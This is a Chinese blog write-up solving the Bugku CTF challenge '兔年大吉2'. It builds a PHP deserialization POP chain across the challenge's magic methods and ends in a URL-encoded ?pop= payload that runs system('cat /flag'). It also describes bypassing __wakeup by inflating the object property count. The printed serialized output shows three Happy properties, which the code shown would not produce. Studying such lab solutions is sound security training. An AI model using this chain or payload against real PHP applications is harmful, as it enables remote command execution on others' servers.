ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

Bugku_兔年大吉2 解题方法

Bugku_兔年大吉2 解题方法

目录

前言

题目

解题过程

1.触发Happy的__call

2. 触发 Nevv 的 __invoke

3.触发 Year 的 __get

4. 触发 Rabbit 的 __set

5. 触发 Year 的 __destruct

完整构造链

1.完整 POP 链梳理

2.完整链条

3.完整构造POP链构造代码:

补充:关于 Happy::__wakeup 的说明


前言

闲来无事,练练题,结果被打下了,重新复习了下php反序化后成功拿下此题,那就写个解题思路吧,分享记录下awa。

题目

<?php highlight_file(__FILE__); error_reporting(0); class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } public function __call($name, $arguments) { call_user_func($this->cmd, $this->content); } public function __wakeup() { die("Wishes can be fulfilled"); } } class Nevv{ private $happiness; public function __invoke() { return $this->happiness->check(); } } class Rabbit{ private $aspiration; public function __set($name,$val){ return $this->aspiration->family; } } class Year{ public $key; public $rabbit; public function __construct($key) { $this->key = $key; } public function firecrackers() { return $this->rabbit->wish = "allkill QAQ"; } public function __get($name) { $name = $this->rabbit; $name(); } public function __destruct() { if ($this->key == "happy new year") { $this->firecrackers(); }else{ print("Welcome 2023!!!!!"); } } } if (isset($_GET['pop'])) { $a = unserialize($_GET['pop']); }else { echo "过新年啊~过个吉祥年~"; } ?> 过新年啊~过个吉祥年~

解题过程

1.触发Happy的__call

我们从后往前,直接看pop链的最后部分执行命令的函数,Happy类中存在call_user_func函数可调用接受两个参数来执行命令,第一个参数为函数名,第二个参数为执行的内容。

外层是__call魔术方法,所以我们需要先想办法触发__call从而利用call_user_func执行命令

__call的触发条件:当对一个对象调用 "当前作用域内不可访问的方法" 时触发,不可访问的方法可以是不存在的方法,此时我们需要去找到一个存在"调用方法"代码语句


发现Nevv类中存在return $this->happiness->check();语句,只需要将this->happiness也就是Nevv的happiness属性赋值为 Happy类即可调用Happy的check(),触发__call (Happy类中没有check()方法)
所以我们可以写出第一次构造的代码:
!!!注意:由于happiness为私有属性需要通过__construct方法来赋值

<?php class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } } class Nevv{ private $happiness; public function __construct($happiness) //添加一个__construct方法便于赋值 { $this->happiness=$happiness; } } $happy = new Happy("system","ls"); //传入函数名和内容 $nevv = new Nevv($happy); // 赋值 echo serialize($nevv); //输出检验

运行结果:O:4:"Nevv":1:{s:15:"\0Nevv\0happiness";O:5:"Happy":2:{s:10:"\0Happy\0cmd";s:6:"system";s:14:"\0Happy\0content";s:2:"ls";}}

2. 触发 Nevv 的 __invoke

public function __invoke() { return $this->happiness->check(); }

__invoke的触发条件:当把一个对象当作函数调用时触发,例如$obj()。

于是我们需要找到一个地方,把Nevv对象当作函数调用。继续往前找,发现Year类中存在:

public function __get($name) { $name = $this->rabbit; $name(); }

这里把$this->rabbit赋值给$name,然后$name()把它当函数调用。所以只需要让Year的rabbit属性为Nevv对象,就可以触发Nevv::__invoke()。

构造代码:

<?php class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } } class Nevv{ private $happiness; public function __construct($happiness) { $this->happiness = $happiness; } } class Year{ public $key; public $rabbit; public function __construct($key, $rabbit) { $this->key = $key; $this->rabbit = $rabbit; } } $happy = new Happy("system", "ls"); $nevv = new Nevv($happy); $year = new Year("", $nevv); // 让 Year 的 rabbit 属性为 Nevv 对象 echo serialize($year); // 输出检验

3.触发 Year 的 __get

__get的触发条件:当访问一个对象中不存在或不可访问的属性时触发。

我们需要找到一个地方,去访问Year对象中不存在的属性。继续往前找,发现Rabbit类中:

public function __set($name,$val){ return $this->aspiration->family; }
这里访问了 $this->aspiration->family。如果 aspiration 是一个 Year 对象,而 Year 中没有 family 属性(确实没有),就会触发 Year::__get()。

构造代码:

<?php class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } } class Nevv{ private $happiness; public function __construct($happiness) { $this->happiness = $happiness; } } class Rabbit{ private $aspiration; public function __construct($aspiration) { $this->aspiration = $aspiration; } } class Year{ public $key; public $rabbit; public function __construct($key, $rabbit) //增加一个参数,便于构造 { $this->key = $key; $this->rabbit = $rabbit; } } $happy = new Happy("system", "ls"); $nevv = new Nevv($happy); $year2 = new Year("", $nevv); $rabbit = new Rabbit($year2); // 让 Rabbit 的 aspiration 属性为 Year 对象 echo serialize($rabbit); // 输出检验

到这里,Year::__get()的构造已经就绪。但要让它真正被触发,还需要Rabbit::__set()去访问$this->aspiration->family。所以继续往前找__set的触发点。

4. 触发 Rabbit 的 __set

__set的触发条件:当给一个对象中不存在或不可访问的属性赋值时触发。

我们需要找到一个地方,去给Rabbit对象中不存在的属性赋值。继续往前找,发现Year类中:

public function firecrackers() { return $this->rabbit->wish = "allkill QAQ"; }

这里给 $this->rabbit->wish 赋值。如果 rabbit 是一个 Rabbit 对象,而 Rabbit 中没有 wish 属性(确实没有),就会触发 Rabbit::__set()。

构造代码:

<?php class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } } class Nevv{ private $happiness; public function __construct($happiness) { $this->happiness = $happiness; } } class Rabbit{ private $aspiration; public function __construct($aspiration) { $this->aspiration = $aspiration; } } class Year{ public $key; public $rabbit; public function __construct($key, $rabbit) { $this->key = $key; $this->rabbit = $rabbit; } } $happy = new Happy("system", "ls"); $nevv = new Nevv($happy); $year2 = new Year("", $nevv); $rabbit = new Rabbit($year2); $year1 = new Year("happy new year", $rabbit); // 让 Year 的 rabbit 属性为 Rabbit 对象 echo serialize($year1); // 输出检验

到这里,Rabbit::__set()的构造已经就绪。但要让它真正被触发,还需要Year::firecrackers()去给$this->rabbit->wish赋值。所以继续往前找触发点。


5. 触发 Year 的 __destruct

__destruct的触发条件:当对象被销毁时触发(脚本结束、unset、或引用计数归零)。继续往前看,Year类中存在:
​​​​​​

public function __destruct() { if ($this->key == "happy new year") { $this->firecrackers(); }else{ print("Welcome 2023!!!!!"); } }

这里要求$this->key == "happy new year",然后调用firecrackers()。

所以最后直接序列化Year即可,至此,整条 POP 链构造完成。


完整构造链

1.完整 POP 链梳理

从入口unserialize($_GET['pop'])开始,逐层触发:

  1. Year::__destruct()— 脚本结束,对象销毁时触发

    • 条件:$this->key == "happy new year"

    • 调用:$this->firecrackers()

  2. Year::firecrackers()

    • 执行:$this->rabbit->wish = "allkill QAQ"

    • 若rabbit是Rabbit对象且没有wish属性 → 触发Rabbit::__set()

  3. Rabbit::__set()

    • 执行:return $this->aspiration->family

    • 若aspiration是Year对象且没有family属性 → 触发Year::__get()

  4. Year::__get()

    • 执行:$name = $this->rabbit; $name();

    • 若rabbit是Nevv对象 → 把对象当函数调用 → 触发Nevv::__invoke()

  5. Nevv::__invoke()

    • 执行:return $this->happiness->check()

    • 若happiness是Happy对象且没有check()方法 → 触发Happy::__call()

  6. Happy::__call()

    • 执行:call_user_func($this->cmd, $this->content)

    • 即call_user_func("system", "命令")→执行命令

2.完整链条

unserialize($_GET['pop'])
→ Year::__destruct() // key == "happy new year"
→ Year::firecrackers() // $this->rabbit->wish = "..."
→ Rabbit::__set() // 访问 $this->aspiration->family
→ Year::__get() // $name = $this->rabbit; $name();
→ Nevv::__invoke() // $this->happiness->check()
→ Happy::__call() // call_user_func($this->cmd, $this->content)
→ system("ls")

3.完整构造POP链构造代码:

<?php class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } } class Nevv{ private $happiness; public function __construct($happiness) { $this->happiness = $happiness; } } class Rabbit{ private $aspiration; public function __construct($aspiration) { $this->aspiration = $aspiration; } } class Year{ public $key; public $rabbit; public function __construct($key, $rabbit) { $this->key = $key; $this->rabbit = $rabbit; } } $happy = new Happy("system", "ls"); $nevv = new Nevv($happy); $year2 = new Year("", $nevv); $rabbit = new Rabbit($year2); $year1 = new Year("happy new year", $rabbit); echo serialize($year1); // 输出最终检验

输出结果:
O:4:"Year":2:{s:3:"key";s:14:"happy new year";s:6:"rabbit";O:6:"Rabbit":1:{s:18:"\0Rabbit\0aspiration";O:4:"Year":2:{s:3:"key";s:0:"";s:6:"rabbit";O:4:"Nevv":1:{s:15:"\0Nevv\0happiness";O:5:"Happy":3:{s:10:"\0Happy\0cmd";s:6:"system";s:14:"\0Happy\0content";s:2:"ls";}}}}}

转为url编码:

O:4:"Year":2:{s:3:"key";s:14:"happy new year";s:6:"rabbit";O:6:"Rabbit":1:{s:18:"%00Rabbit%00aspiration";O:4:"Year":2:{s:3:"key";s:0:"";s:6:"rabbit";O:4:"Nevv":1:{s:15:"%00Nevv%00happiness";O:5:"Happy":3:{s:10:"%00Happy%00cmd";s:6:"system";s:14:"%00Happy%00content";s:2:"ls";}}}}}

获取flag
?pop=O:4:"Year":2:{s:3:"key";s:14:"happy new year";s:6:"rabbit";O:6:"Rabbit":1:{s:18:"%00Rabbit%00aspiration";O:4:"Year":2:{s:3:"key";s:0:"";s:6:"rabbit";O:4:"Nevv":1:{s:15:"%00Nevv%00happiness";O:5:"Happy":3:{s:10:"%00Happy%00cmd";s:6:"system";s:14:"%00Happy%00content";s:9:"cat%20/flag";}}}}}


补充:关于Happy::__wakeup的说明

在分析Happy类时可以看到,它定义了一个__wakeup魔术方法

public function __wakeup() { die("Wishes can be fulfilled"); }

按照 PHP 反序列化的规则,当一个对象被unserialize()还原时,如果它的类中定义了__wakeup(),那么该方法会自动被调用。也就是说,只要Happy对象出现在序列化字符串里,理论上__wakeup就会执行die(),直接终止脚本。

但实际测试中,不绕过__wakeup也能成功执行命令。如需绕过只需将对应的对象属性数量修改为大于实际值即可。

返回列表